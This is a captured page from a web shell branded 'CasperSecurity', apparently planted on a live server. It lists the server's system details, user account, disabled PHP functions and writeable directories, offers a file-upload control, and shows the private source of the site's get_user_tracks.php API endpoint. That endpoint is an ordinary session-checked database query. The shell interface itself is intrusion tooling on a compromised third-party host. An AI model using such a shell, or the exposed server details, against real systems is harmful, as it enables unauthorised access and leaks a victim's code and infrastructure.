T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/soundstudiopro.com/private_html/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/soundstudiopro.com/private_html/api/get_user_tracks.php
<?php
session_start();
require_once '../config/database.php';

header('Content-Type: application/json');

// Check if user is logged in
if (!isset($_SESSION['user_id'])) {
    echo json_encode(['error' => 'Not authenticated']);
    exit;
}

$pdo = getDBConnection();
if (!$pdo) {
    echo json_encode(['error' => 'Database connection failed']);
    exit;
}

try {
    // Get user's tracks, ordered by most recent first
    $stmt = $pdo->prepare("
        SELECT 
            id,
            title,
            prompt,
            metadata,
            created_at,
            status
        FROM music_tracks 
        WHERE user_id = ? 
        AND music_type = 'music'
        ORDER BY created_at DESC
        LIMIT 100
    ");
    
    $stmt->execute([$_SESSION['user_id']]);
    $tracks = $stmt->fetchAll(PDO::FETCH_ASSOC);
    
    // Process tracks to extract metadata
    $formattedTracks = [];
    foreach ($tracks as $track) {
        $metadata = json_decode($track['metadata'] ?? '{}', true);
        
        // Determine mode based on metadata
        $mode = 'simple';
        if (!empty($metadata['proPrompt']) || !empty($track['prompt']) && strpos($track['prompt'], 'pro') !== false) {
            $mode = 'pro';
        } elseif (!empty($metadata['advancedPrompt']) || !empty($metadata['title']) && empty($metadata['proTitle'])) {
            $mode = 'advanced';
        }
        
        $formattedTracks[] = [
            'id' => $track['id'],
            'title' => $track['title'] ?: 'Untitled Track',
            'created_at' => $track['created_at'],
            'status' => $track['status'],
            'mode' => $mode,
            'metadata' => $metadata,
            'prompt' => $track['prompt']
        ];
    }
    
    echo json_encode(['success' => true, 'tracks' => $formattedTracks]);
    
} catch (PDOException $e) {
    error_log("Error fetching user tracks: " . $e->getMessage());
    echo json_encode(['error' => 'Failed to fetch tracks']);
}

CasperSecurity Mini